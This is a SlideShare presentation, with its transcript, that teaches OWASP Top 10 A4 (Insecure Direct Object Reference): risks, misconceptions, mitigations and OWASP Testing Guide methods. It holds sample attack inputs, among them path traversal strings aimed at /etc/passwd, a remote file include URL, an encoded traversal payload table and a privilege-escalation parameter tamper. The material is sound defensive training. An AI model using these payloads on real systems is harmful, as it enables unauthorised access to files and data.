SlideShare a Scribd company logo
OWASP Top 10
A4 – Insecure Direct Object Reference
Narudom Roongsiriwong
CISSP
WhoAmI
● Lazy Blogger
– Japan, Security, FOSS, Politics, Christian
– http://narudomr.blogspot.com
● Information Security since 1995
● Web Application Development since 1998
● Head of IT Security, Kiatnakin Bank PLC (KKP)
● Contact: narudom.roongsiriwong@owasp.org
What Is It?
• Occurs when a developer exposes a reference
to an internal implementation object, such as
a file, directory, or database key.
• Without an access control check or other
protection, attackers can manipulate these
references to access unauthorized data.
Impact = Moderate
●
Such flaws can compromise all the data that
can be referenced by the parameter.
●
Unless object references are unpredictable, it’s
easy for an attacker to access all available data
of that type.
●
Consider the business value of the exposed
data as well as the business impact of public
exposure of the vulnerability.
Why Care About Insecure Direct Object
References?
●
Although this vulnerability is easy to exploit and easy
to detect, it is still usually ignored by developers
●
June 2000, Australian Treasury GST(Goods and
Services Tax) website was hacked and private
information from 17,000 businesses breached, just by
a student typing in an URL
●
February 2014, Insecure Direct Object Reference allow
attacker to delete all the posted thread and comments
on Yahoo's Suggestion Board website → 1.5 million
records
Insecure Direct Object Web Page Query
Not Only Web Page but XML Data Island
Client Account ID
Account ID
Not Only Web Page but XML Data Island
Not Only Web Page but XML Data Island
Not Only Web Page but XML Data Island
Misunderstanding on Insecure Direct
Object Reference
● We use HTTPS nobody can change my POST parameters
– HTTPS protects data in transportation not the end point, attackers
can manipulate data using tools like OWASP Zap Proxy, Burp Suite
or even Firebug plug-in for Firefox
● We use AJAX to exchange data browser's developer mode
cannot see or change data
– Proxy tools like OWASP Zap Proxy and Burp Suites are able to
intercept HTTP(S) protocol including AJAX communication
● Our mobile application with HTTPS cannot be intercepted,
nobody can change object references
– No, attackers can run your app on rooted or jail-broken devices or
in emulator or connect to access point with proxy tools as named
above
Misunderstanding on
Insecure Direct Object Reference
● We can encrypt requests before POSTing
– Be sure you use encryption not encoding like base64
– If you use symmetric encryption, the key will be on
client side somewhere.
● Web application, the encryption key must be
somewhere in your scripts.
● Mobile application, attackers can reverse engineering
you app and find the key
– If you use asymmetric encryption, it is safe, however
your server processing will increase significantly.
Mitigations
● Do not expose internal keys or identifiers
– Keep user ID or key in a session variable
– Use a temporary mapping value (See next slide)
● Use object references that are challenging to guess
– GUID/UUID
– Random Number
● Perform server-side authorization checks before object
accesses (strongly recommend)
– Verify the parameter value is properly formatted
– Verify the user is allowed to access the target object
– Verify the requested mode of access is allowed to the target object
(e.g., read, write, delete)
Temporary Mapping Value
Account Label MapID
112536 Deposit 1
115696 Current 2
Temporary
In session memory
How Do You Test Applications?
• Testing for insecure direct object references can be hard to
automate
– Automated scanners do not know what users should have access to
what data
• Inspect parameters being passed to applications
• Manipulate parameters to see if sensitive information is
disclosed
• Look at pages whose only purpose is to display information
about a single object
– Documents
– Accounts
– Statements
OWASP Testing Guide for A4
● Authorization Testing
– Testing Directory
traversal/file include
(OTG-AUTHZ-001)
– Testing for Bypassing
Authorization Schema
(OTG-AUTHZ-002)
– Testing for Privilege
escalation (OTG-AUTHZ-
003)
– Testing for Insecure
Direct Object References
(OTG-AUTHZ-004)
Testing Directory traversal/file include
(OTG-AUTHZ-001): Enumeration
● Are there request parameters which could be used for file-related
operations?
● Are there unusual file extensions?
● Are there interesting variable names?
– http://example.com/index.php?file=content
– http://example.com/main.cgi?home=index.htm
– http://example.com/getUserProfile.jsp?item=ikki.html
● Is it possible to identify cookies used by the web application for
the dynamic generation of pages or templates?
Cookie: ID=d9ccd3f4f9f18cc1:T-
M=2166255468:LM=1162655568:S=3cFpqbJgMSSPKVMV:-
TEMPLATE=flower
Cookie: USER=1826cc8f:PSTYLE=GreenDotRed
Testing Directory traversal/file include
(OTG-AUTHZ-001): Testing Techniques
● Insert the malicious string “../../../../” to include the
password hash file for a Linux/Unix or boot.ini for Windows
system
– http://example.com/getUserProfile.jsp?
item=../../../../etc/passwd
● For the cookies example:
– Cookie: USER=1826cc8f:PSTYLE=../../../../etc/passwd
● Try to include files and scripts located on external website.
– http://example.com/index.php?
file=http://www.owasp.org/malicioustxt
● Try to show the source code of a CGI component
– http://example.com/main.cgi?home=main.cgi
Testing Directory traversal/file include
(OTG-AUTHZ-001): Testing Techniques
If “../” does not work, try character encoding such as URL
encoding, double URL encoding, Unicode/UTF-8 encoding
Encoding Test with Represent
URL %2e%2e%2f ../
%2e%2e/ ../
..%2f ../
%2e%2e%5c ..
%2e%2e ..
..%5c ..
Double URL %252e%252e%255c ..
..%255c ..
Unicode/UTF-8 ..%c0%af ../
..%c1%9c ..
Testing Directory traversal/file include
(OTG-AUTHZ-001): Testing Tools
● DotDotPwn - The Directory Traversal Fuzzer -
http://dotdotpwn.sectester.net
● Path Traversal Fuzz Strings (from WFuzz Tool) -
http://code.google.com/p/wfuzz/source/brows
e/trunk/wordlist/Injections/Traversal.txt
● Web Proxy (Burp Suite, Paros,
WebScarab,OWASP: Zed Attack Proxy (ZAP))
● Encoding/Decoding tools
Testing Other Authorization
(OTG-AUTHZ-002 to 004): Prerequisite
● Needs to map out all locations in the application where
user input is used to reference objects directly.
– A database row
– A file
– Application pages
● Having at least two (often more) users to cover different
owned objects and functions
– Users each having access to different objects (such as
purchase information, private messages, etc.)
– Users with different privileges (for example administrator
users) to see whether there are direct references to
application functionality
Testing for Bypassing Authorization
Schema (OTG-AUTHZ-002): Summary
● Focus on verifying how the authorization schema has
been implemented for each role or privilege to get
access to reserved functions and resources.
● States to verify
– User is not authenticated
– After the log-out
– User that holds a different role or privilege
● Track all the administrative functions when:
– Logging as a user with standard privileges
– Logging as a user with a different role and for whom that
action should be denied
Testing for Bypassing Authorization
Schema (OTG-AUTHZ-002): How to test
● Testing for access to administrative functions
– Example, Try to post to administrator's “adduser”
when logging on as non-administrative roles
● Testing for access to resources assigned to a
different role
– Example, analyze an application that uses a shared
directory
Testing for Privilege escalation (OTG-
AUTHZ-003): Summary
● Verify that it is not possible for a user to modify his or her
privileges or roles inside the application
● Privilege escalation occurs when a user gets access to more
resources or functionality than they are normally allowed
● The degree of escalation depends on what privileges the
attacker is authorized to possess, and what privileges can be
obtained in a successful exploit
● Vertical escalation – access resources granted to more
privileged accounts (e.g., acquiring administrative privileges
for the application)
● Horizontal escalation – access resources granted to a similarly
configured account (e.g., in an online banking application,
accessing information related to a different user)
Testing for Privilege escalation (OTG-
AUTHZ-003): How to test
POST /user/viewOrder.jsp HTTP/1.1
Host: www.example.com
...
groupID=grp001&orderID=0001
This POST allows the user that
belongs to grp001 to access order
#0001, logon with a user that does
not belong to grp001 then intercept
the post & try to modify the
parameters to gain access
privileged data
Testing for Privilege escalation (OTG-
AUTHZ-003): How to test
HTTP/1.1 200 OK
Server: Netscape-Enterprise/6.0
Date: Wed, 1 Apr 2006 13:51:20 GMT
Set-Cookie: USER=aW78ryrGrTWs4MnOd32Fs51yDqp;
path=/; domain=www.example.com
Set-Cookie: SESSION=k+KmKeHXTgDi1J5fT7Zz;
path=/; domain= www.example.com
Cache-Control: no-cache
Pragma: No-cache
Content-length: 247
Content-Type: text/html
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
<form name="autoriz" method="POST" action =
"visual.jsp">
<input type="hidden" name="profile"
value="SysAdmin">
<body onload="document.forms.autoriz.submit()">
</td>
</tr>
This HTML shows a
hidden field to the
user after a
successful
administrative user
authentication.
Logon with another
non-administrative
user and modify
the value of the
variable "profile" to
"SysAdmin"? Is it
possible to become
administrator?
Testing for Insecure Direct Object References
(OTG-AUTHZ-004): Scenarios
● Retrieve a database record
– http://foo.bar/somepage?invoice=12345
● Perform an operation in the application
– http://foo.bar/changepassword?user=someuser
● Retrieve a file system resource
– http://foo.bar/showImage?img=img00011
● Access application functionality
– http://foo.bar/accessPage?menuitem=12
Testing for Insecure Direct Object References
(OTG-AUTHZ-004): Where to Look for
● URL Query String
● Cookie (HTTP Header)
● Request Body (Post Method)
– Query String
– XML SOAP Interface
– JSON Document
● Check Web URL, Web Forms, AJAX
Communication, Mobile HTTP Request and
Web Service
Common Tools for Authorization Testing
● Web Proxy (Burp Suite, Paros,
WebScarab,OWASP: Zed Attack Proxy (ZAP))
Recap
● Insecure direct object references occur when
an application exposes internal references to
objects via parameters passed to the
application
● To guard against:
– Do not expose internal keys or identifiers for
objects
– Use object references that are challenging to guess
– Perform server-side authorization checks before
object accesses (strongly recommend)
References
• OWASP
– OWASP Top 10 2010-A4-Insecure Direct Object References
– ESAPI Access Reference Map
– ESAPI Access Control API (See isAuthorizedForData(),
isAuthorizedForFile(), isAuthorizedForFunction())
• External
– CWE Entry 639 on Insecure Direct Object Reference
– CWE Entry 22 on Path Traversal (an example of a Direct
Object Reference attack)
OWASP Top 10 A4 – Insecure Direct Object Reference

More Related Content

PDF
Insecure direct object reference (null delhi meet)
PPTX
A8 cross site request forgery (csrf) it 6873 presentation
PDF
Penetration Testing Execution Phases
PPTX
security misconfigurations
PPTX
A2 - broken authentication and session management(OWASP thailand chapter Apri...
PPTX
Web application security
PDF
Web application security & Testing
Insecure direct object reference (null delhi meet)
A8 cross site request forgery (csrf) it 6873 presentation
Penetration Testing Execution Phases
security misconfigurations
A2 - broken authentication and session management(OWASP thailand chapter Apri...
Web application security
Web application security & Testing

What's hot (20)

PPTX
Pentesting ReST API
PPTX
Understanding Cross-site Request Forgery
PPTX
Security misconfiguration
PPTX
Burp suite
PDF
Cross site scripting (xss) attacks issues and defense - by sandeep kumbhar
PDF
Secure Code Review 101
PPTX
Cross site scripting
PDF
Broken access controls
PPTX
What is Penetration Testing?
PPTX
Xss (cross site scripting)
PDF
Neat tricks to bypass CSRF-protection
PPTX
Bug Bounty 101
PPTX
Attacking thru HTTP Host header
PPT
Web Application Security
PPTX
Cross-Site Scripting (XSS)
PPTX
PPTX
Cross Site Scripting ( XSS)
PPT
Introduction to Web Application Penetration Testing
PPTX
PDF
Web Application Penetration Testing
Pentesting ReST API
Understanding Cross-site Request Forgery
Security misconfiguration
Burp suite
Cross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Secure Code Review 101
Cross site scripting
Broken access controls
What is Penetration Testing?
Xss (cross site scripting)
Neat tricks to bypass CSRF-protection
Bug Bounty 101
Attacking thru HTTP Host header
Web Application Security
Cross-Site Scripting (XSS)
Cross Site Scripting ( XSS)
Introduction to Web Application Penetration Testing
Web Application Penetration Testing
Ad

Viewers also liked (20)

PDF
Secure Software Development Adoption Strategy
PDF
Securing the Internet from Cyber Criminals
PDF
OWASP Top 10 Proactive Control 2016 (C5-C10)
PDF
Secure PHP Coding
ODP
Unlock Security Insight from Machine Data
PDF
Application Security: Last Line of Defense
PPTX
Payment Card System Overview
PDF
A5-Security misconfiguration-OWASP 2013
PDF
AnyID: Security Point of View
PPT
Risk Management in Project Management
PDF
AnyID and Privacy
ODP
Top 10 Web Security Vulnerabilities
PPTX
InsecureDirectObjectReferences
PPTX
A5: Security Misconfiguration
PDF
Security Misconfiguration (OWASP Top 10 - 2013 - A5)
PDF
Database Firewall with Snort
PPTX
Business continuity & disaster recovery planning (BCP & DRP)
PPTX
owaspa4
PDF
OWASP Enterprise Security API
PPTX
OWASP Top 10 Proactive Controls
Secure Software Development Adoption Strategy
Securing the Internet from Cyber Criminals
OWASP Top 10 Proactive Control 2016 (C5-C10)
Secure PHP Coding
Unlock Security Insight from Machine Data
Application Security: Last Line of Defense
Payment Card System Overview
A5-Security misconfiguration-OWASP 2013
AnyID: Security Point of View
Risk Management in Project Management
AnyID and Privacy
Top 10 Web Security Vulnerabilities
InsecureDirectObjectReferences
A5: Security Misconfiguration
Security Misconfiguration (OWASP Top 10 - 2013 - A5)
Database Firewall with Snort
Business continuity & disaster recovery planning (BCP & DRP)
owaspa4
OWASP Enterprise Security API
OWASP Top 10 Proactive Controls
Ad

Similar to OWASP Top 10 A4 – Insecure Direct Object Reference (20)

ODP
CISSP Week 13
PPTX
Secure Android Development
PDF
Annual OktCyberfest 2019
PDF
Authorisation: Concepts and Implementation
PPTX
Web Application Hacking tools .pptx
PDF
Application Security - Your Success Depends on it
PPTX
Lecture32-Web-based-testing-II.pptx
PPTX
OWASP OTG-configuration (OWASP Thailand chapter november 2015)
PPTX
Scan Website Vulnerability - Project Presentation
PPTX
Understanding Network Security and Vulnerability Assessment
PDF
firewalls on crypto graphy and network security
PPT
CohenNancyPresentation.ppt
PDF
OWASP Top Ten in Practice
PPT
Security Design Principles.ppt
PDF
Federico Toledo - Extra-functional testing.pdf
PDF
asset tracking system project report.pdf
PPT
Open Science Grid security-atlas-t2 Bob Cowles
PPTX
[OWASP Poland Day] Application security - daily questions & answers
PDF
Monitoring and Instrumentation Strategies: Tips and Best Practices - AppSphere16
PPTX
How to Test for The OWASP Top Ten
CISSP Week 13
Secure Android Development
Annual OktCyberfest 2019
Authorisation: Concepts and Implementation
Web Application Hacking tools .pptx
Application Security - Your Success Depends on it
Lecture32-Web-based-testing-II.pptx
OWASP OTG-configuration (OWASP Thailand chapter november 2015)
Scan Website Vulnerability - Project Presentation
Understanding Network Security and Vulnerability Assessment
firewalls on crypto graphy and network security
CohenNancyPresentation.ppt
OWASP Top Ten in Practice
Security Design Principles.ppt
Federico Toledo - Extra-functional testing.pdf
asset tracking system project report.pdf
Open Science Grid security-atlas-t2 Bob Cowles
[OWASP Poland Day] Application security - daily questions & answers
Monitoring and Instrumentation Strategies: Tips and Best Practices - AppSphere16
How to Test for The OWASP Top Ten

More from Narudom Roongsiriwong, CISSP (16)

PDF
Biometric Authentication.pdf
PDF
Security Shift Leftmost - Secure Architecture.pdf
PDF
Secure Design: Threat Modeling
PDF
Security Patterns for Software Development
PDF
How Good Security Architecture Saves Corporate Workers from COVID-19
PDF
Secure Software Design for Data Privacy
PDF
Blockchain and Cryptocurrency for Dummies
PPTX
National Digital ID Platform Technical Forum
PDF
Embedded System Security: Learning from Banking and Payment Industry
PDF
Secure Your Encryption with HSM
PDF
Application Security Verification Standard Project
PDF
Coding Security: Code Mania 101
PDF
Top 10 Bad Coding Practices Lead to Security Problems
PDF
Biometric Authentication.pdf
Security Shift Leftmost - Secure Architecture.pdf
Secure Design: Threat Modeling
Security Patterns for Software Development
How Good Security Architecture Saves Corporate Workers from COVID-19
Secure Software Design for Data Privacy
Blockchain and Cryptocurrency for Dummies
National Digital ID Platform Technical Forum
Embedded System Security: Learning from Banking and Payment Industry
Secure Your Encryption with HSM
Application Security Verification Standard Project
Coding Security: Code Mania 101
Top 10 Bad Coding Practices Lead to Security Problems

Recently uploaded (20)

PDF
Mobile App Security Testing_ A Comprehensive Guide.pdf
PPTX
MYSQL Presentation for SQL database connectivity
PDF
Blue Purple Modern Animated Computer Science Presentation.pdf.pdf
PDF
Empathic Computing: Creating Shared Understanding
PPTX
Tartificialntelligence_presentation.pptx
PDF
Encapsulation_ Review paper, used for researhc scholars
PDF
Optimiser vos workloads AI/ML sur Amazon EC2 et AWS Graviton
PDF
Reach Out and Touch Someone: Haptics and Empathic Computing
PDF
MIND Revenue Release Quarter 2 2025 Press Release
PDF
A comparative analysis of optical character recognition models for extracting...
PDF
Build a system with the filesystem maintained by OSTree @ COSCUP 2025
PPTX
Machine Learning_overview_presentation.pptx
PDF
Per capita expenditure prediction using model stacking based on satellite ima...
PPTX
A Presentation on Artificial Intelligence
PDF
Getting Started with Data Integration: FME Form 101
PDF
NewMind AI Weekly Chronicles - August'25-Week II
PPTX
KOM of Painting work and Equipment Insulation REV00 update 25-dec.pptx
PDF
Video forgery: An extensive analysis of inter-and intra-frame manipulation al...
PDF
Accuracy of neural networks in brain wave diagnosis of schizophrenia
PDF
Advanced methodologies resolving dimensionality complications for autism neur...
Mobile App Security Testing_ A Comprehensive Guide.pdf
MYSQL Presentation for SQL database connectivity
Blue Purple Modern Animated Computer Science Presentation.pdf.pdf
Empathic Computing: Creating Shared Understanding
Tartificialntelligence_presentation.pptx
Encapsulation_ Review paper, used for researhc scholars
Optimiser vos workloads AI/ML sur Amazon EC2 et AWS Graviton
Reach Out and Touch Someone: Haptics and Empathic Computing
MIND Revenue Release Quarter 2 2025 Press Release
A comparative analysis of optical character recognition models for extracting...
Build a system with the filesystem maintained by OSTree @ COSCUP 2025
Machine Learning_overview_presentation.pptx
Per capita expenditure prediction using model stacking based on satellite ima...
A Presentation on Artificial Intelligence
Getting Started with Data Integration: FME Form 101
NewMind AI Weekly Chronicles - August'25-Week II
KOM of Painting work and Equipment Insulation REV00 update 25-dec.pptx
Video forgery: An extensive analysis of inter-and intra-frame manipulation al...
Accuracy of neural networks in brain wave diagnosis of schizophrenia
Advanced methodologies resolving dimensionality complications for autism neur...

OWASP Top 10 A4 – Insecure Direct Object Reference

  • 1. OWASP Top 10 A4 – Insecure Direct Object Reference Narudom Roongsiriwong CISSP
  • 2. WhoAmI ● Lazy Blogger – Japan, Security, FOSS, Politics, Christian – http://narudomr.blogspot.com ● Information Security since 1995 ● Web Application Development since 1998 ● Head of IT Security, Kiatnakin Bank PLC (KKP) ● Contact: [email protected]
  • 3. What Is It? • Occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, or database key. • Without an access control check or other protection, attackers can manipulate these references to access unauthorized data.
  • 4. Impact = Moderate ● Such flaws can compromise all the data that can be referenced by the parameter. ● Unless object references are unpredictable, it’s easy for an attacker to access all available data of that type. ● Consider the business value of the exposed data as well as the business impact of public exposure of the vulnerability.
  • 5. Why Care About Insecure Direct Object References? ● Although this vulnerability is easy to exploit and easy to detect, it is still usually ignored by developers ● June 2000, Australian Treasury GST(Goods and Services Tax) website was hacked and private information from 17,000 businesses breached, just by a student typing in an URL ● February 2014, Insecure Direct Object Reference allow attacker to delete all the posted thread and comments on Yahoo's Suggestion Board website → 1.5 million records
  • 6. Insecure Direct Object Web Page Query
  • 7. Not Only Web Page but XML Data Island Client Account ID Account ID
  • 8. Not Only Web Page but XML Data Island
  • 9. Not Only Web Page but XML Data Island
  • 10. Not Only Web Page but XML Data Island
  • 11. Misunderstanding on Insecure Direct Object Reference ● We use HTTPS nobody can change my POST parameters – HTTPS protects data in transportation not the end point, attackers can manipulate data using tools like OWASP Zap Proxy, Burp Suite or even Firebug plug-in for Firefox ● We use AJAX to exchange data browser's developer mode cannot see or change data – Proxy tools like OWASP Zap Proxy and Burp Suites are able to intercept HTTP(S) protocol including AJAX communication ● Our mobile application with HTTPS cannot be intercepted, nobody can change object references – No, attackers can run your app on rooted or jail-broken devices or in emulator or connect to access point with proxy tools as named above
  • 12. Misunderstanding on Insecure Direct Object Reference ● We can encrypt requests before POSTing – Be sure you use encryption not encoding like base64 – If you use symmetric encryption, the key will be on client side somewhere. ● Web application, the encryption key must be somewhere in your scripts. ● Mobile application, attackers can reverse engineering you app and find the key – If you use asymmetric encryption, it is safe, however your server processing will increase significantly.
  • 13. Mitigations ● Do not expose internal keys or identifiers – Keep user ID or key in a session variable – Use a temporary mapping value (See next slide) ● Use object references that are challenging to guess – GUID/UUID – Random Number ● Perform server-side authorization checks before object accesses (strongly recommend) – Verify the parameter value is properly formatted – Verify the user is allowed to access the target object – Verify the requested mode of access is allowed to the target object (e.g., read, write, delete)
  • 14. Temporary Mapping Value Account Label MapID 112536 Deposit 1 115696 Current 2 Temporary In session memory
  • 15. How Do You Test Applications? • Testing for insecure direct object references can be hard to automate – Automated scanners do not know what users should have access to what data • Inspect parameters being passed to applications • Manipulate parameters to see if sensitive information is disclosed • Look at pages whose only purpose is to display information about a single object – Documents – Accounts – Statements
  • 16. OWASP Testing Guide for A4 ● Authorization Testing – Testing Directory traversal/file include (OTG-AUTHZ-001) – Testing for Bypassing Authorization Schema (OTG-AUTHZ-002) – Testing for Privilege escalation (OTG-AUTHZ- 003) – Testing for Insecure Direct Object References (OTG-AUTHZ-004)
  • 17. Testing Directory traversal/file include (OTG-AUTHZ-001): Enumeration ● Are there request parameters which could be used for file-related operations? ● Are there unusual file extensions? ● Are there interesting variable names? – http://example.com/index.php?file=content – http://example.com/main.cgi?home=index.htm – http://example.com/getUserProfile.jsp?item=ikki.html ● Is it possible to identify cookies used by the web application for the dynamic generation of pages or templates? Cookie: ID=d9ccd3f4f9f18cc1:T- M=2166255468:LM=1162655568:S=3cFpqbJgMSSPKVMV:- TEMPLATE=flower Cookie: USER=1826cc8f:PSTYLE=GreenDotRed
  • 18. Testing Directory traversal/file include (OTG-AUTHZ-001): Testing Techniques ● Insert the malicious string “../../../../” to include the password hash file for a Linux/Unix or boot.ini for Windows system – http://example.com/getUserProfile.jsp? item=../../../../etc/passwd ● For the cookies example: – Cookie: USER=1826cc8f:PSTYLE=../../../../etc/passwd ● Try to include files and scripts located on external website. – http://example.com/index.php? file=http://www.owasp.org/malicioustxt ● Try to show the source code of a CGI component – http://example.com/main.cgi?home=main.cgi
  • 19. Testing Directory traversal/file include (OTG-AUTHZ-001): Testing Techniques If “../” does not work, try character encoding such as URL encoding, double URL encoding, Unicode/UTF-8 encoding Encoding Test with Represent URL %2e%2e%2f ../ %2e%2e/ ../ ..%2f ../ %2e%2e%5c .. %2e%2e .. ..%5c .. Double URL %252e%252e%255c .. ..%255c .. Unicode/UTF-8 ..%c0%af ../ ..%c1%9c ..
  • 20. Testing Directory traversal/file include (OTG-AUTHZ-001): Testing Tools ● DotDotPwn - The Directory Traversal Fuzzer - http://dotdotpwn.sectester.net ● Path Traversal Fuzz Strings (from WFuzz Tool) - http://code.google.com/p/wfuzz/source/brows e/trunk/wordlist/Injections/Traversal.txt ● Web Proxy (Burp Suite, Paros, WebScarab,OWASP: Zed Attack Proxy (ZAP)) ● Encoding/Decoding tools
  • 21. Testing Other Authorization (OTG-AUTHZ-002 to 004): Prerequisite ● Needs to map out all locations in the application where user input is used to reference objects directly. – A database row – A file – Application pages ● Having at least two (often more) users to cover different owned objects and functions – Users each having access to different objects (such as purchase information, private messages, etc.) – Users with different privileges (for example administrator users) to see whether there are direct references to application functionality
  • 22. Testing for Bypassing Authorization Schema (OTG-AUTHZ-002): Summary ● Focus on verifying how the authorization schema has been implemented for each role or privilege to get access to reserved functions and resources. ● States to verify – User is not authenticated – After the log-out – User that holds a different role or privilege ● Track all the administrative functions when: – Logging as a user with standard privileges – Logging as a user with a different role and for whom that action should be denied
  • 23. Testing for Bypassing Authorization Schema (OTG-AUTHZ-002): How to test ● Testing for access to administrative functions – Example, Try to post to administrator's “adduser” when logging on as non-administrative roles ● Testing for access to resources assigned to a different role – Example, analyze an application that uses a shared directory
  • 24. Testing for Privilege escalation (OTG- AUTHZ-003): Summary ● Verify that it is not possible for a user to modify his or her privileges or roles inside the application ● Privilege escalation occurs when a user gets access to more resources or functionality than they are normally allowed ● The degree of escalation depends on what privileges the attacker is authorized to possess, and what privileges can be obtained in a successful exploit ● Vertical escalation – access resources granted to more privileged accounts (e.g., acquiring administrative privileges for the application) ● Horizontal escalation – access resources granted to a similarly configured account (e.g., in an online banking application, accessing information related to a different user)
  • 25. Testing for Privilege escalation (OTG- AUTHZ-003): How to test POST /user/viewOrder.jsp HTTP/1.1 Host: www.example.com ... groupID=grp001&orderID=0001 This POST allows the user that belongs to grp001 to access order #0001, logon with a user that does not belong to grp001 then intercept the post & try to modify the parameters to gain access privileged data
  • 26. Testing for Privilege escalation (OTG- AUTHZ-003): How to test HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Date: Wed, 1 Apr 2006 13:51:20 GMT Set-Cookie: USER=aW78ryrGrTWs4MnOd32Fs51yDqp; path=/; domain=www.example.com Set-Cookie: SESSION=k+KmKeHXTgDi1J5fT7Zz; path=/; domain= www.example.com Cache-Control: no-cache Pragma: No-cache Content-length: 247 Content-Type: text/html Expires: Thu, 01 Jan 1970 00:00:00 GMT Connection: close <form name="autoriz" method="POST" action = "visual.jsp"> <input type="hidden" name="profile" value="SysAdmin"> <body onload="document.forms.autoriz.submit()"> </td> </tr> This HTML shows a hidden field to the user after a successful administrative user authentication. Logon with another non-administrative user and modify the value of the variable "profile" to "SysAdmin"? Is it possible to become administrator?
  • 27. Testing for Insecure Direct Object References (OTG-AUTHZ-004): Scenarios ● Retrieve a database record – http://foo.bar/somepage?invoice=12345 ● Perform an operation in the application – http://foo.bar/changepassword?user=someuser ● Retrieve a file system resource – http://foo.bar/showImage?img=img00011 ● Access application functionality – http://foo.bar/accessPage?menuitem=12
  • 28. Testing for Insecure Direct Object References (OTG-AUTHZ-004): Where to Look for ● URL Query String ● Cookie (HTTP Header) ● Request Body (Post Method) – Query String – XML SOAP Interface – JSON Document ● Check Web URL, Web Forms, AJAX Communication, Mobile HTTP Request and Web Service
  • 29. Common Tools for Authorization Testing ● Web Proxy (Burp Suite, Paros, WebScarab,OWASP: Zed Attack Proxy (ZAP))
  • 30. Recap ● Insecure direct object references occur when an application exposes internal references to objects via parameters passed to the application ● To guard against: – Do not expose internal keys or identifiers for objects – Use object references that are challenging to guess – Perform server-side authorization checks before object accesses (strongly recommend)
  • 31. References • OWASP – OWASP Top 10 2010-A4-Insecure Direct Object References – ESAPI Access Reference Map – ESAPI Access Control API (See isAuthorizedForData(), isAuthorizedForFile(), isAuthorizedForFunction()) • External – CWE Entry 639 on Insecure Direct Object Reference – CWE Entry 22 on Path Traversal (an example of a Direct Object Reference attack)